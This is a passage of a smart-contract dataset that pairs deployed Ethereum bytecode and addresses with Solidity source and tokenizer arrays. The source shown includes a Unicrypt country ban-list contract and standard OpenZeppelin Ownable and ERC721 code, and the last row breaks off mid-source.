0x608060405234801561001057600080fd5b50600436106100df5760003560e01c8063872a78101161008c578063b70b64ec11610066578063b70b64ec146101ca578063be9a6555146101f0578063f2fde38b146101f8578063fa01dc061461021e576100df565b8063872a7810146101805780638da5cb5b1461019c5780639852595c146101a4576100df565b806338af3eed116100bd57806338af3eed1461012e578063715018a61461015257806374a8f1031461015a576100df565b80630fb5a6b4146100e457806313d033c0146100fe5780631916558714610106575b600080fd5b6100ec610244565b60408051918252519081900360200190f35b6100ec61024a565b61012c6004803603602081101561011c57600080fd5b50356001600160a01b0316610250565b005b610136610355565b604080516001600160a01b039092168252519081900360200190f35b61012c610364565b61012c6004803603602081101561017057600080fd5b50356001600160a01b0316610422565b610188610665565b604080519115158252519081900360200190f35b61013661066e565b6100ec600480360360208110156101ba57600080fd5b50356001600160a01b031661067d565b61012c600480360360208110156101e057600080fd5b50356001600160a01b031661069c565b6100ec610745565b61012c6004803603602081101561020e57600080fd5b50356001600160a01b031661074b565b6101886004803603602081101561023457600080fd5b50356001600160a01b031661085f565b60045490565b60025490565b600061025b8261087d565b9050600081116102b2576040805162461bcd60e51b815260206004820152601f60248201527f546f6b656e56657374696e673a206e6f20746f6b656e73206172652064756500604482015290519081900360640190fd5b6001600160a01b0382166000908152600660205260409020546102db908263ffffffff6108b516565b6001600160a01b0380841660008181526006602052604090209290925560015461030d9291168363ffffffff61091616565b604080516001600160a01b03841681526020810183905281517fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df93179929181900390910190a15050565b6001546001600160a01b031690565b61036c610982565b6001600160a01b031661037d61066e565b6001600160a01b0316146103d8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61042a610982565b6001600160a01b031661043b61066e565b6001600160a01b031614610496576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460ff166104ed576040805162461bcd60e51b815260206004820152601b60248201527f546f6b656e56657374696e673a2063616e6e6f74207265766f6b650000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16156105455760405162461bcd60e51b8152600401808060200182810382526023815260200180610f4e6023913960400191505060405180910390fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b15801561058f57600080fd5b505afa1580156105a3573d6000803e3d6000fd5b505050506040513d60208110156105b957600080fd5b5051905060006105c88361087d565b905060006105dc838363ffffffff61098616565b6001600160a01b0385166000908152600760205260409020805460ff19166001179055905061062361060c61066e565b6001600160a01b038616908363ffffffff61091616565b604080516001600160a01b038616815290517f39983c6d4d174a7aee564f449d4a5c3c7ac9649d72b7793c56901183996f8af69181900360200190a150505050565b60055460ff1690565b6000546001600160a01b031690565b6001600160a01b0381166000908152600660205260409020545b919050565b6106a4610982565b6001600160a01b03166106b561066e565b6001600160a01b031614610710576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661072357600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60035490565b610753610982565b6001600160a01b031661076461066e565b6001600160a01b0316146107bf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108045760405162461bcd60e51b8152600401808060200182810382526026815260200180610eb76026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205460ff1690565b6001600160a01b0381166000908152600660205260408120546108af906108a3846109e3565b9063ffffffff61098616565b92915050565b60008282018381101561090f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b17905261097d908490610b28565b505050565b3390565b6000828211156109dd576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516370a0823160e01b8152306004820152905160009182916001600160a01b038516916370a08231916024808301926020929190829003018186803b158015610a2e57600080fd5b505afa158015610a42573d6000803e3d6000fd5b505050506040513d6020811015610a5857600080fd5b50516001600160a01b03841660009081526006602052604081205491925090610a8890839063ffffffff6108b516565b9050600254421015610a9f57600092505050610697565b600454600354610ab49163ffffffff6108b516565b42101580610ada57506001600160a01b03841660009081526007602052604090205460ff165b15610ae85791506106979050565b610b1f600454610b13610b066003544261098690919063ffffffff16565b849063ffffffff610bd916565b9063ffffffff610c3216565b92505050610697565b6060610b7d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610c999092919063ffffffff16565b80519091501561097d57808060200190516020811015610b9c57600080fd5b505161097d5760405162461bcd60e51b815260040180806020018281038252602a815260200180610f24602a913960400191505060405180910390fd5b600082610be8575060006108af565b82820282848281610bf557fe5b041461090f5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f036021913960400191505060405180910390fd5b6000808211610c88576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610c9157fe5b049392505050565b6060610ca88484600085610cb0565b949350505050565b606082471015610cf15760405162461bcd60e51b8152600401808060200182810382526026815260200180610edd6026913960400191505060405180910390fd5b610cfa85610e0c565b610d4b576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610d8a5780518252601f199092019160209182019101610d6b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610dec576040519150601f19603f3d011682016040523d82523d6000602084013e610df1565b606091505b5091509150610e01828286610e12565b979650505050505050565b3b151590565b60608315610e2157508161090f565b825115610e315782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e7b578181015183820152602001610e63565b50505050905090810190601f168015610ea85780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e56657374696e673a20746f6b656e20616c7265616479207265766f6b6564a264697066735822122008d3c8d802edfbc15061d8700cd9ca6f5cf283dd55612b5dbb10c0a4d2ac11ff64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 11387, 16068, 2094, 28311, 2620, 8586, 2497, 2620, 10322, 2692, 2629, 4246, 29345, 2683, 28311, 26337, 2546, 2629, 2497, 16048, 7875, 2683, 23632, 2475, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 1013, 1013, 11780, 2013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,650
0x9720526C803aeee9c7558dBD19A4d6b512a49B94
// SPDX-License-Identifier: UNLICENSED // ALL RIGHTS RESERVED // Unicrypt by SDDTech reserves all rights on this code. You may NOT copy these contracts. pragma solidity ^0.8.0; import "./Ownable.sol"; import "./ICountryList.sol"; contract CountryList is Ownable, ICountryList { // disable a country code with the COUNTRY_BAN_LIST, true = banned, false = allowed mapping (uint16 => bool) public COUNTRY_BAN_LIST; uint16 public MAX_UINT = 252; function setMaxUint (uint16 _maxUint) external onlyOwner { MAX_UINT = _maxUint; } function setCountryRule (uint16 _countryCode, bool _banned) external onlyOwner { require(_countryCode <= MAX_UINT, "INVALID CODE"); COUNTRY_BAN_LIST[_countryCode] = _banned; } // call this function from external contracts to verify if a specified country code is allowed function countryIsValid (uint16 _countryCode) external view override returns (bool) { if (_countryCode > MAX_UINT) { return false; } if (COUNTRY_BAN_LIST[_countryCode]) { return false; } return true; } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b14610113578063de9a78c014610131578063e5b5019a1461014d578063f2fde38b1461016b57610088565b80630e5db1d41461008d578063376b9a3e146100bd5780635cb49b55146100d9578063715018a614610109575b600080fd5b6100a760048036038101906100a2919061074d565b610187565b6040516100b49190610863565b60405180910390f35b6100d760048036038101906100d2919061074d565b6101a7565b005b6100f360048036038101906100ee919061074d565b610243565b6040516101009190610863565b60405180910390f35b6101116102af565b005b61011b6103e9565b6040516101289190610848565b60405180910390f35b61014b60048036038101906101469190610776565b610412565b005b610155610520565b60405161016291906108de565b60405180910390f35b61018560048036038101906101809190610724565b610534565b005b60016020528060005260406000206000915054906101000a900460ff1681565b6101af6106dd565b73ffffffffffffffffffffffffffffffffffffffff166101cd6103e9565b73ffffffffffffffffffffffffffffffffffffffff1614610223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161021a906108be565b60405180910390fd5b80600260006101000a81548161ffff021916908361ffff16021790555050565b6000600260009054906101000a900461ffff1661ffff168261ffff16111561026e57600090506102aa565b600160008361ffff1661ffff16815260200190815260200160002060009054906101000a900460ff16156102a557600090506102aa565b600190505b919050565b6102b76106dd565b73ffffffffffffffffffffffffffffffffffffffff166102d56103e9565b73ffffffffffffffffffffffffffffffffffffffff161461032b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610322906108be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61041a6106dd565b73ffffffffffffffffffffffffffffffffffffffff166104386103e9565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610485906108be565b60405180910390fd5b600260009054906101000a900461ffff1661ffff168261ffff1611156104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e09061089e565b60405180910390fd5b80600160008461ffff1661ffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600260009054906101000a900461ffff1681565b61053c6106dd565b73ffffffffffffffffffffffffffffffffffffffff1661055a6103e9565b73ffffffffffffffffffffffffffffffffffffffff16146105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a7906108be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106179061087e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506106f4816109f7565b92915050565b60008135905061070981610a0e565b92915050565b60008135905061071e81610a25565b92915050565b60006020828403121561073657600080fd5b6000610744848285016106e5565b91505092915050565b60006020828403121561075f57600080fd5b600061076d8482850161070f565b91505092915050565b6000806040838503121561078957600080fd5b60006107978582860161070f565b92505060206107a8858286016106fa565b9150509250929050565b6107bb8161090a565b82525050565b6107ca8161091c565b82525050565b60006107dd6026836108f9565b91506107e882610956565b604082019050919050565b6000610800600c836108f9565b915061080b826109a5565b602082019050919050565b60006108236020836108f9565b915061082e826109ce565b602082019050919050565b61084281610928565b82525050565b600060208201905061085d60008301846107b2565b92915050565b600060208201905061087860008301846107c1565b92915050565b60006020820190508181036000830152610897816107d0565b9050919050565b600060208201905081810360008301526108b7816107f3565b9050919050565b600060208201905081810360008301526108d781610816565b9050919050565b60006020820190506108f36000830184610839565b92915050565b600082825260208201905092915050565b600061091582610936565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f494e56414c494420434f44450000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b610a008161090a565b8114610a0b57600080fd5b50565b610a178161091c565b8114610a2257600080fd5b50565b610a2e81610928565b8114610a3957600080fd5b5056fea26469706673582212205e53fbb4e35dfc21d388b27fe83f93a5bb9b9245bc6dc1b3280c7781faea18d764736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 11387, 25746, 2575, 2278, 17914, 2509, 6679, 4402, 2683, 2278, 23352, 27814, 18939, 2094, 16147, 2050, 2549, 2094, 2575, 2497, 22203, 2475, 2050, 26224, 2497, 2683, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 2035, 2916, 9235, 1013, 1013, 4895, 2594, 2854, 13876, 2011, 17371, 11927, 15937, 8269, 2035, 2916, 2006, 2023, 3642, 1012, 2017, 2089, 2025, 6100, 2122, 8311, 1012, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 24582, 21723, 23320, 2923, 1012, 14017, 1000, 1025, 3206, 2406, 9863, 2003, 2219, 3085, 1010, 24582, 21723, 23320, 2923, 1063, 1013, 1013, 4487, 19150, 1037, 2406, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,651
0x9720Abfc7e13095eF68Abc7140DDc2D47374bbA3
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or 